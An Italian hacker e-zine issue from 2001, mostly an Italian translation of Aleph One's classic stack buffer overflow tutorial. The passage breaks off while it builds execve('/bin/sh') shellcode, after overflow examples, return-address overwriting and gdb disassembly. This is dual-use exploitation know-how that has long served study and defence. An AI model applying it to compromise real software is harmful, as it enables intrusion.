Copy Link
Add to Bookmark
Report
Dirtynet 007
/
/ D . i . r . t . y . N . e . t /
/n° 7 /
Rivista mensile/bimensile gratis sulla sicurezza
mese uscita Gennaio 2001
/Tutti i testi sono sottoposti ad adattamento - syn /
/La rivista non segue un regolare andamento per le uscite /
/Inizio Disclaimer /
Tutto il contenuto di questo file di testo è da ritenersi dannoso quindi non applicabile.
L'utente è pregato di non mettere in atto quanto scritto. Esso è stato pubblicato solo
per offrire una conoscenza maggiore in ambito, NON per altri scopi. Il testo non si puo'
modificare ne' tanto meno vendere senza il consenso dell'autore. Se non si rispettano le
norme l'utente avrà commesso azione illegale. In questo testo è solamente presente
INFORMAZIONE, e l'informazione per legge è LIBERA. Leggendo queste righe tu ACCETTI I
TERMINI descritti, se ci fosse qualcosa di contrario al tuo volere, esci e cancella
questo file.
/Fine Disclaimer /
/ website /
http://www.dienne.da.ru
http://www.accaet.da.ru
/collaboratori-email /
syn - synarckio@yahoo.it
av4Tar_ - avatar@hackersat.com
Jrash - jrash@hackersat.com
Ghent - ghent@hackersat.com
kEwL - kewl@penguinpowered.com
Dibbellas - squall_00158@yahoo.com
oVERDRIVE - overd@hobbiton.org
^SiD^ -
Screener_it -
mR_bIs0n -
/ascii /
syn
/email a cui mandare gli articoli /
synarckio@yahoo.it
/email a cui proporre domande /
synarckio@yahoo.it
/staff assemblo /
syn
/===========================::=============================::=================/
/ /Indice /Allegati / /
/===========================::=============================::=================/
/800x600 standard full screen /
Indice
Titolo Collaboratore
/Intro /
Intro - syn & Ghent
Mailbox - Ghent
/Hacking, sicurezza informatica, programmazione /
Smashing the stack for fun and profit - kEwL
D4n1a - SPYRO
Programmazione di base con socket - BracaMan
+++ATH0 ping exploit - ^SiD^
Overclokkiamo un p3 da 1ghz - Dibbellas
Winsock e visual basic - Screener_it
/Mezzing /
/Phreaking /
/Narcoting /
/Miscellanea /
CyberDelirio - Ghent
Utilizzare l'adsl con OpenBSD - oVERDRIVE
Connettersi con Linux - oVERDRIVE
psyBNC help - syn
Cosa sono le porte ? - Screener_it
Pop3 - mR_bIs0n
/Outro /
Links - syn
Outro - syn
/Allegati / - cartella "attc"
fakedos_source.zip = al momento l'ultima versione del fakedos opensource.
winsock_e_VB.zip = vedi articolo "Winsock e visual basic"
/===========================::=============================::=================/
/ /Intro / syn & Ghent /
/===========================::=============================::=================/
Salve gente, ebbene si sono io che vi parlo. Se state leggendo questo avrete sicuramente
visto che il sottoscritto non ha scritto (bel gioco di parole)
e quindi questo era il minimo che poteva fare :)
Attualmente non sto curando nè accaet nè brokerall (www.brokerall.da.ru) come vi citai.
Chiamatemi anche sfaticato ma io ho un solo computer, e questo (connesso ad una lan locale)
non è usato solo da me purtroppo.
In cambio vi prometto di far aggiornare un po' più costantemente il sito, con testi forse
un po' di meno.
Cosa posso dirvi, che sto cercando di ampliare la rivista anche per
quanto riguarda un po' di programmazione, soprattutto C.
Non lamentatevi per favore, anche perchè al momento accaet è composta da poche persone
e quelle poche non sono tanto "attive", senza fare nomi naturalmente... :)
Colgo l'argomento per farvi un annuncio importante: accaet è in cerca di nuovi membri
o collaboratori della rivista dn.
Appassionati di sicurezza informatica, programmazione e phreaking possono
scrivermi al mio solito indirizzo (syn@hackersat.com), allegandomi magari un testo,
per vedere che argomento preferisce.
Inutile dirvelo, ma ve lo dico lo stesso, che non faremo nè sorteggi nè ampolle come nel lotto,
e non siamo intenzionati a collaborare con il primo lameruccio che mi fa vedere un testo... :)
Quindi fatevi avanti, male che và non vi insulteremo di certo :)
Mentre sto scrivendo, quello che più mi mormora alla testa è il fatto che oggi sono poche
le riviste online a rimanere costanti e senza pause, o meglio, girando per la rete
mi sono trovato di fronte a ezine morte e che rimanevano con un progetto sospeso;
a me questo non piace, anche perchè se faccio una promessa con i lettori mi piace
sempre mantenerla, non tanto per fare il moralista del caxxo ma perchè alle
soddisfazioni dei lettori si aggiungono di conseguenza le mie.
Anche se nella pagina dei credits non è stato inserito il webmaster di accaet è Ghent :)
Quindi per consigli, miglioramenti o errori scrivete lui e non più me.
Ghent mo te la vedi te.... :)
[ndGhent: Syn, questa me la paghi :PPP]
Gente non aggiungo altro.
Per informazione di ogni genere mi trovate sempre su ircnet, su #comitiva,
#vtk, #severi o #zapolandia.
il vostro syn (che sia amato o odiato)
www.accaet.da.ru
www.brokerall.da.ru
============
Salve ragazzi, grazie di aver scaricato questo settimo numero di Dirty/\/et :)
Mi dispiace di non aver lasciato in sospeso il fakeDos, ma proprio non c'è il
tempo di sistemarlo per bene... vi lascio il sorgente com'è al momento, piu'
inchiavicato che mai perche' fermo nel bel mezzo di una sistemata generale...
...giusto per lasciarlo open source, dopo aver allegato solo l'exe insieme
alle procedure batch un paio di numeri fa...
Inoltre, inauguriamo con questo numero la sezione Mailbox, dove saranno pubblicate
le risposte alle mails piu' interessanti che ci arrivano, meglio ancora se di
interesse generale.
Ed ora, buona lettura :)
Ghent
/===========================::=============================::=================/
/ /Mailbox / Ghent /
/===========================::=============================::=================/
Ometto nick ed email del lettore per rispetto della privacy, se volete che
siano pubblicati indicatelo espressamente nelle mails.
***
> Salve, Ghent!
Ciao... :)
> Complimenti per l'articolo sull'hacking del Flash, fa
> piacere sapere cose di cui ignoravi
> l'esistenza!
E a me fa piacere che quell'articolo sia piaciuto a qualcuno :)
> Comunque ti ho scritto anche per chiederti un
> consiglio: sai mica dove posso trovare programmi
> che mi diano il .fla di un'animazione Flash? (.swf)
> Mi spiego meglio: mettiamo che abbia trovato
> un'animazione davvero bella, di cui ho solo il
> filmato già compilato (l'swf, insomma). Per studiare
> tutti gli effetti ed imparare qualcosina
> dovrei avere il .fla, ma come ben sai non è possibile!
> O si? Esistono programmi che 'craccano' il filmato
> dando il .fla?
La questione è un po' diversa... la macromedia ha rilasciato le specifiche
del formato swf (www.openswf.org mi sembra ci siano un sacco di info) ma
non del formato .fla, quindi un programma che puo' produrre il fla da un swf
non esiste, mentre visto che si conosce la struttura degli swf ci sono un
sacco di programmi e programmini che esportano in swf (swish, swift 3d, flix, flafx ecc..)
Esistono pero' vari programmi, che ti consiglio di cercare, che possono permetterti
di imparare cmq qualcosa, come dici tu, e capire come funziona un movie swf... oltre che
estrarre simboli e animazioni.
Ci sono programmini che semplicemente sproteggono gli swf e ti permettono di importarli
in Flash (come serie di keyframes, pero'... tutti sullo stesso layer), poi c'è l'ottimo
ActionScript viewer 2 che ti permette di vedere tutti gli script (e anche di piu') e mi
sembra vari altri progs, ad esempio per estrarre l'swf da un projector .exe... insomma,
fatti un giro su google e cerca
"Actionscript viewer", "Swifftools", "FlashJester"... troverai un sacco di materiale.
> Ti ringrazio anticipatamente!
di niente, anzi scusa se ti rispondo con molto ritardo :)
***
Per questa volta è tutto... scriveteci :)
/===========================::=============================::=================/
/ /Smashing The Stack For Fun And Profit / kEwL /
/===========================::=============================::=================/
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
di Aleph One
aleph1@underground.org
tradotto da kEwL`
`distruggere lo stack` [programmazione C]. In molte implementazioni C è
possibile corrompere lo stack d'esecuzione scrivendo dopo la fine di un
array dichiarato auto in una routine. Si dice che il codice che fa ciò
distrugga lo stack, e può causare l'uscita dalla routine saltando a un
indirizzo casuale. Questo può causare i bugs data-dependent più
insidiosi conosciuti all'uomo. Le varianti includono eliminare lo
stack, scrivere a casaccio lo stack, mutilare lo stack. Vedi spam;
vedi anche alias bug, fandango on core, memory leak, precedence
lossage, overrun screw.
Introduzione
~~~~~~~~~~~~
Negli ultimi mesi c'è stato un notevole incremento di vulnerabilità
buffer overflow scoperte e exploitate. Esempi sono syslog, splitvt,
sendmail 8.7.5, mount di Linux/FreeBSD, librerie Xt, at, ecc. Questo
documento cerca di spiegare cosa sono i buffer overflow e come funzionano
i loro exploits.
E' necessaria una conoscenza di base di assembly. La conoscenza dei
concetti della memoria virtuale e esperienza con gdb può essere utile ma
non necessaria. Premettiamo inoltre che stiamo lavorando con un CPU Intel
x86, e che il sistema operativo è Linux.
Alcune definizioni di base prima di iniziare:
Un buffer è semplicemente un blocco di memoria del computer che gestisce
più esempi dello stesso tipo di dati. I programmatori di C associano
normalmente con la parola buffer, array. Più comunemente, array di
caratteri. Gli array, come tutte le varaibili in C, possono esere
dichiarati sia statici che dinamici. Le variabili statiche sono allocate
al momento che vengono caricate. Le variabili dinamiche sono allocate al
momento d'avvio dello stack. Creare è un overflow vuol dire riempire
eccessivamente. Ci dedicheremo solo agli overflows con buffer dinamico,
conosciuti come buffer overflow stack-based.
Processare l'Organizzazione della Memoria
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Per capire cosa sono i buffer dello stack dobbiamo prima capire come è
organizzato un processo in memoria. I processi sono divisi in tre
regioni: Testo, Dati e Stack. Ci concentreremo sulla regione stack, ma
prima una piccola panoramica delle altre regioni.
La regione testo è fissata dal programma e include il codice
(istruzioni) e dati in sola lettura. Questa regione corrisponde alla
sezione del testo del file eseguibile. Questa regione è normalmente
contrassegnata in sola lettura e ogni tentativo di scriverci darà luogo a
un segmentation violation.
La regione dati contiene dati inizializzati e non. Le variabili statiche
sono memorizzate in questa regione. La regione dati corrisponde alle
sezioni data-bss di un file eseguibile. La sua dimensione può essere
cambiata con la chiamata brk(2). Se l'espansione dei dati bss o lo stack
dell'utente esaurisce la memoria disponibile, il processo è bloccato ed
verrà eseguito di nuovo con uno spazio di memoria maggiore. La nuova
memoria è aggiunta tra i dati e i segmenti dello stack.
/-------------------\ indirizzi
| | di memoria
| Testo | più bassi
| |
|-------------------|
| (Inizializzato) |
| Dati |
|(Non-Inizializzati)|
|-------------------|
| |
| Stack | indirizzi
| | di memoria
\-------------------/ più alti
Fig. 1 Regione della memoria dei processi
Cos'è uno Stack?
~~~~~~~~~~~~~~~~
Uno stack è un tipo di dati astatto usato frequentemente in
informatica. Uno stack di oggetti ha la proprietà che l'ultimo oggetto
inserito sarà il primo oggetto eliminato. Questa proprietà è chiamata
Last-In-First-Out (LIFO).
Sono definite molte operazioni negli stacks. Le più importanti sono PUSH e
POP. PUSH inserisce un elemento nello stack; POP, invece, riduce la
dimensione dello stack eliminando l'ultimo elemento inserito nello stack.
Perchè usiamo uno Stack?
~~~~~~~~~~~~~~~~~~~~~~~~
I computer moderni sono progettati tenendo conto i linguaggi di
programmazione ad alto livello. La tecnica più importante per strutturare
dei programmi introdotta dai linguaggi ad alto livello è la procedura o
funzione. Da un certo punto di vista, una chiamata di procedura altera il
flusso di controllo proprio come fa uno JUMP, ma non come lo JUMP, una
funzione ritorna al suo posto eseguendo le istruzioni che seguono. Questa
caratteristica è implementata con l'aiuto dello stack.
Lo stack è anche usato per allocare dinamicamente le variabili locali
usate nella funzione, per passare parametri alle funzioni, e per
restituire valori dalla funzione.
La Regione dello Stack
~~~~~~~~~~~~~~~~~~~~~~
Uno stack è un blocco contiguo di memoria contenente dati. Un registro
chiamato stack pointer (SP) punta alla cima dello stack. La base dello
stack è a un indirizzo fissato. La sua dimensione è adattata dinamicamente
dal kernel al momento dell'avvio. La CPU implementa le istruzioni di PUSH
e di POP.
Lo stack è composto da frammenti logici di stack che sono "pushed"
quandi si chiama una funzione e "popped" quando si ritorna. Un frammento
di stack contiene i parametri di una funzione, le sue variabili locali, e i
dati necessari per recuperare il precedente frammento di stack, includendo
il valore del puntatore d'istruzione al momento della chiamata della
funzione.
A seconda dell'implementazione lo stack diminuirà (verso gli indirizzi
di memoria più bassi), o crescerà. Nei nostri esempi useremo uno stack che
diminuisce. In questo modo lo stack diminuisce in molti computers,
compresi i processori Intel, Motorola, SPARC e MIPS. Lo stack pointer (SP)
è comunque un'implementazione dipendente. Può puntare all'ultimo indirizzo
dello stack, o al prossimo indirizzo disponibile dopo lo stack. Per la
nostra discussione terremo presente che punta all'ultimo indirizzo dello
stack.
In aggiuna allo stack pointer, che punta alla cima dello stack
(indirizzi numericamente più bassi, è spesso conveniente avere un frame
pointer (FP) che punta a una fissata locazione in un frame. Alcuni testi
si riferiscono ad esso come local base pointer (LB). Principalmente, le
variabili locali possono essere riferite dando il loro offset dall'SP.
Comunque, appena le parole sono immesse nello stack e eliminate dallo
stack, questi offset cambiano. In alcuni casi il compilatore può tener
conto del numero di parole nello stack e così correggere gli offset, in
alcuni casi non può, e in tutti i casi è necessaria un'amministrazione
considerevole. Inoltre, su alcune macchine, come per esempio macchine con
processori Intel-based, accedere a una variabile a una distanza conosciuta
dallo SP richiede più istruzioni.
Di conseguenza, molti compilatori usano un secondo registro, l'FP, per
riferirsi sia alle variabili locali sia ai parametri perchè la loro
distanza dall'FTP non cambia con i PUSH e i POP. Su processori Intel, il
BP (EBP) è usato per questo scopo. Dato che il nostro stack cambia, i
parametri attuali hanno offset positivi e le variabili locali hanno offset
negativi dall'FP.
La prima cosa che una procedura deve fare quando è chiamata è salvare
l'FP precedente. Poi copia l'SP nell'FP per creare il nuovo FP, e avanza
l'SP per riservare spazio per le variabili locali. Questo codice è
chiamato "procedure prolog". Quando la procedura termina, lo stack deve
essere pulito di nuovo; questa procedura è chiamata "procedure epilog". Le
istruzioni Intel ENTER e LEAVE e le istruzioni Motorola LINK e UNLINK sono
state progettate per permettere un efficiente funzionamento di procedure
prolog e epilog.
Vediamo come potrebbe sembrare lo stack in un semplice esempio:
esempio1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
Per capire cosa fa il programma con la funzione function(), compiliamo
il programma con gcc usando il parametro -S che genera anche il codice
assembly:
$ gcc -S -o esempio1.s esempio1.c
Dando uno sguardo al codice assembly, vediamo che la chiamata alla
funzione è tradotta in:
pushl $3
pushl $2
pushl $1
call function
Questo inserisce i 3 argomenti nello stack e chiama funcion().
L'istruzione 'call' inserirà l'instruction pointer (IP) nello stack.
Chiamaremo l'IP salvato return address (RET). La prima cosa nella funzione
è nel procedure prolog:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
Questo inserisce EBP, il frame pointer, nello stack. Poi copia
l'attuale SP in EBP, creando il nuovo puntatore FP. Chiameremo il
puntatore salvato SP, SFP. Inoltra esso alloca lo spazio per le varaibili
locali sottraendo la sua dimensione da SP.
Dobbiamo ricordare che la memoria può essere solo indirizzata in
multipli della dimensione di parola. Una parola nel nostro caso è 4 bytes,
o 32 bits. Così il nostro buffer di 5 bytes andrà ad occupare 8 bytes (2
parole) di memoria, e il nostro buffer di 10 bytes andrà ad occupare 12
bytes (3 parole) di memoria. Questo perchè SP è stato sottratto da 20.
Tenendo presente ciò, il nostro stack è qualcosa di simile, quando
function() è chiamata (ogni spazio rappresenta un byte):
base della cima della
memoria memoria
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
cima dello base dello
stack stack
Buffer Overflows
~~~~~~~~~~~~~~~~
Un buffer overflow è il risultato dell'inserimento di dati in uno
buffer in quantità maggiore che il buffer può gestire. Come facciamo ad
eseguire codice arbitrario sfruttando questi errori di programmazione?
Facciamo un altro esempio:
esempio2.c
------------------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
------------------------------------------------------------------------------
Questo è un programma che ha un tipico errore. La funzione copia una
determinata stringa usando strcpy() e non strncpy(). Se esegui questo
programma ci sarà una violazione di segmentazione. Vediamo come appare lo
stack quando viene eseguite la chiamata a function():
base della cima della
memoria memoria
buffer sfp ret *str
<------ [ ][ ][ ][ ]
cima dello base dello
stack stack
Che sta succedendo? Perchè abbiamo una violazione di segmentazione?
Semplice. strcpy() sta copiando il contenuto di *str in buffer[] finchè
non viene trovato un carattere nullo nella stringa. Come possiamo vedere
buffer[] è molto più piccolo di *str. buffer[] è lungo 16 bytes, e stiamo
cercando di riempiro con 256 bytes. Questo significa che tutti i 240 bytes
dopo buffer stanno per essere sovrascritti. Questi comprendono SFP, RET e
anche *str! Abbiamo riempito large_string con il carattere 'A'. Il suo
valore esadecimale è 0x41. Questo significa che l'indirizzo di ritorno è
ora 0x41414141. E' al di fuori dello spazio del processo. Questo perchè
quando la funzione ritorna e cerca di leggere la prossima istruzione da
quell'indirizzo, si ha una violazione di segmentazione.
Così un buffer overflow ci permette di cambiare l'indirizzo di ritorno
di una funzione. In questo modo possiamo cambiare il flusso d'esecuzione
del programma. Torniamo al primo esempio e rivediamo com'era lo stack:
base della cima della
memoria memoria
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
cima dello base dello
stack stack
Cerchiamo di modificare il nostro primo esempio in modo tale che esso
sovrascriva l'indirizzo di ritorno, e dimostri come possiamo eseguire
codice arbitrario. Appena prima di buffer1[] sullo stack c'è SFP, e prima
di esso, l'indirizzo di ritorno. Questo è 4 bytes dopo la fine di
buffer1[]. Ma ricorda che buffer1[] è 2 parole e quindi 8 bytes. Quindi
l'indirizzo di ritorno è 12 bytes dopo l'inizio di buffer1[].
Modificheremo il valore di ritorno in modo tale che l'istruzione di
assegnamento 'x =1;' verrà saltata dopo la chiamata di funzione. Per fare
ciò aggiungiamo 8 bytes all'indirizzo di ritorno. Il nostro codice sarà:
esempio3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
------------------------------------------------------------------------------
Abbiamo aggiunto 12 all'indirizzo di buffer1[]. Questo nuovo indirizzo
è dove è memorizzato l'indirizzo di ritorno. Vogliamo evitare
l'assegnamento alla chiamata printf. Come aggiungiamo 8 all'indirizzo di
ritorno? Abbiamo usato prima un valore di test (per esempio 1), compilato
il progarmma, e poi abbiamo eseguito gdb:
------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>: pushl %ebp
0x8000491 <main+1>: movl %esp,%ebp
0x8000493 <main+3>: subl $0x4,%esp
0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d <main+13>: pushl $0x3
0x800049f <main+15>: pushl $0x2
0x80004a1 <main+17>: pushl $0x1
0x80004a3 <main+19>: call 0x8000470 <function>
0x80004a8 <main+24>: addl $0xc,%esp
0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 <main+37>: pushl %eax
0x80004b6 <main+38>: pushl $0x80004f8
0x80004bb <main+43>: call 0x8000378 <printf>
0x80004c0 <main+48>: addl $0x8,%esp
0x80004c3 <main+51>: movl %ebp,%esp
0x80004c5 <main+53>: popl %ebp
0x80004c6 <main+54>: ret
0x80004c7 <main+55>: nop
------------------------------------------------------------------------------
Possiamo vedere che quando chiamamo function() il RET è 0x80004a8, e
l'assegnamento è all'indirizzo 0x80004ab. La prossima istruzione che
vogliamo eseguire e all'indirizzo 0x80004b2. Un piccolo calcolo ci dice
che la distanza è 8 bytes.
Shell Code
~~~~~~~~~~
Ora che sappiamo che possiamo modificare l'indirizzo di ritorno e il
flusso d'esecuzione, quale programma dobbiamo eseguire? Nella maggior
parte dei casi vogliamo semplicemente che il programma ci dia una shell.
Dalla shell poi possiamo eseguire tutti i comandi che vogliamo. Ma che
facciamo se nel programma non c'è il codice che vogiamo exploitare? Come
possiamo inserire istruzioni arbitrarie nel suo spazio d'indirizzo? La
risposta è mettere codice arbitrario nel buffer che stiamo exploitando, e
sovrascrivere l'indirizzo di ritorno in modo tale da ritornare nel buffer.
Assumiamo che lo stack comincia dall'indirizzo 0xFF, e la S sta per il
codice che vogliamo eseguire; lo stack sarà una cosa simile:
base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della
memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria
buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
cima dello base dello
stack stack
Il codice per avere una shell in C è qualcosa del genere:
shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
Per vedere che fa in assembly compiliamo il programma ed eseguiamo gdb.
Ricorda di usare l'opzione -static.
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
Cerchiamo di capire che sta succedendo. Cominceremo a studiare main:
------------------------------------------------------------------------------
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
Questo è il preludio della procedura. Dapprima salva il vecchio
frame pointer, rende l'attuale stack pointer il nuovo frame
pointer, e lascia spazio per le variabili locali. In questo caso:
char *name[2];
o 2 puntatori a un carattere. I puntatori sono lunghi una parola
così questo lascia spazio per due parole (8 bytes).
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
Copiamo il valore 0x800027b8 (l'indirizzo della striga "/bin/sh")
nel primo puntatore di name[]. Questo è equivalente a:
name[0] = "/bin/sh";
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
Copiamo il valore 0x0 (NULL) nel secondo puntatore di name[].
Questo è equivalente a:
name[1] = NULL;
La chiamata a execve() comincia quì.
0x8000144 <main+20>: pushl $0x0
Inseriamo gli argomenti a execve() in ordine inverso nello stack.
Cominciamo con NULL.
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
Carichiamo l'indirizzo di name[] nel registro EAX.
0x8000149 <main+25>: pushl %eax
Inseriamo l'indirizzo di name[] nello stack.
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
Carichiamo l'indirizzo della stringa "/bin/sh" nel registro EAX.
0x800014d <main+29>: pushl %eax
Inseriamo l'indirizzo della stringa "/bin/sh" nello stack.
0x800014e <main+30>: call 0x80002bc <__execve>
Chiamiamo la procedura execve(). L'istruzione inserisce l'IP nello
stack.
------------------------------------------------------------------------------
Ora execve(). Tieni in mente che stiamo usando un sistema Linux Intel.
I dettagli di syscall cambieranno da OS a OS, e da CPU a CPU. Alcuni
passerano gli argomenti nello stack, altri nei registri. Alcuni usano un
software interrupt per saltare al kernel mode, altri usano una far call.
Linux passa i suoi argomenti alla chiamata di sistema nei registri e usa
un software interrupt per saltare in kernel mode.
------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
Il preludio della procedura.
0x80002c0 <__execve+4>: movl $0xb,%eax
Copia 0xb (11 decimali) nello stack. Questo è l'indice nela tavola
syscall. 11 è execve.
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
Copia l'indirizzo di "/bin/sh" in EBX.
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
Copia l'indirizzo di name[] in ECX.
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
Copia l'indirizzo del puntatore nullo in %edx.
0x80002ce <__execve+18>: int $0x80
Passa al kernel mode.
------------------------------------------------------------------------------
Come possiamo vedere c'è molto per la chiamata execve(). Tutto quello che
dobbiamo fare è:
a) Avere la stringa "/bin/sh" da qualche parte in memoria.
b) Avere l'indirizzo della stringa "/bin/sh" da qualche parte in
memoria seguita da una lunga parola nulla.
c) Copiaer 0xb nel registro EAX.
d) Copiare l'indirizzo dell'indirizzo della stringa "/bin/sh" nel
registro EBX.
e) Copiare l'indirizzo della stringa "/bin/sg" nel registro ECX.
f) Copiare l'indirizzo della lunga parola nulla nel registro EDX.
g) Eseguire l'istruzione int $0x80.
Ma che succede se l'istruzione execve() fallisce per un qualsiasi
motivo? Il programma continuerà ad andare a prendere istruzioni dallo
stack, che può contenere dati casuali! Il programma terminerà sicuramente
con un core dump. Voggliamo che il programma termini senza problemi se la
chiamata execve fallisce. Per fare ciò dobbiamo aggiungere una chiamata
d'uscita dopo la chiamata execve. Com'è una chiamata d'uscita?
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>
void main() {
exit(0);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------
La chiamata exit metterà 0x1 in EAX, metterà il codice d'uscita in EBX,
ed eseguirà "int 0x80". Ecco tutto. La maggior parte delle applicazioni
ritornano 0 all'uscita per indicare che non ci sono stati errori. Mettermo
0 in EBX. La nostra lista di passi è ora:
a) Avere la stringa "/bin/sh" da qualche parte in memoria.
b) Avere l'indirizzo della stringa "/bin/sh" da qualche parte in
memoria seguita da una lunga parola nulla.
c) Copiaer 0xb nel registro EAX.
d) Copiare l'indirizzo dell'indirizzo della stringa "/bin/sh" nel
registro EBX.
e) Copiare l'indirizzo della stringa "/bin/sg" nel registro ECX.
f) Copiare l'indirizzo della lunga parola nulla nel registro EDX.
g) Eseguire l'istruzione int $0x80.
h) Copiare 0x1 nel registro EAX.
i) Copiare 0x0 nel registro EBX.
j) Eseguire l'istruzione int $0x80.
Cercando di mettere tutto assieme in linguaggio assembly, mettendo la
stringa dopo il codice e ricordando che metteremo 'indirizzo della
stringa, e la parola nulla dopo l'array, avremo:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
la stringa /bin/sh va quì.
------------------------------------------------------------------------------
Il problema è che non sappiamo dove sarà messo nello spazio di memoria
del programma stiamo cercando di exploitare il codice (e la stringa che lo
segue). Un modo per saperlo è quello di usare JMP e CALL. Le istruzioni
JMP e CALL possono usare indirizzamenti IP relativi, e ciò significa che
possiamo saltare a un offset dall'IP corrente senza aver il bisogno di
sapere l'esatto indirizzo di dove vogliamo saltare in memoria. Se mettiamo
un'istruzione CALL appena prima la stringa "/bin/sh", e un'istruzione JMP
a essa, gli indirizzi delle stringhe saranno inseriti nello stack come
l'indirizzo di ritorno quando viene eseguita CALL. Tutto ciò di cui
abbiamo bisogno è copiare l'indirizzo di ritorno nel registro.
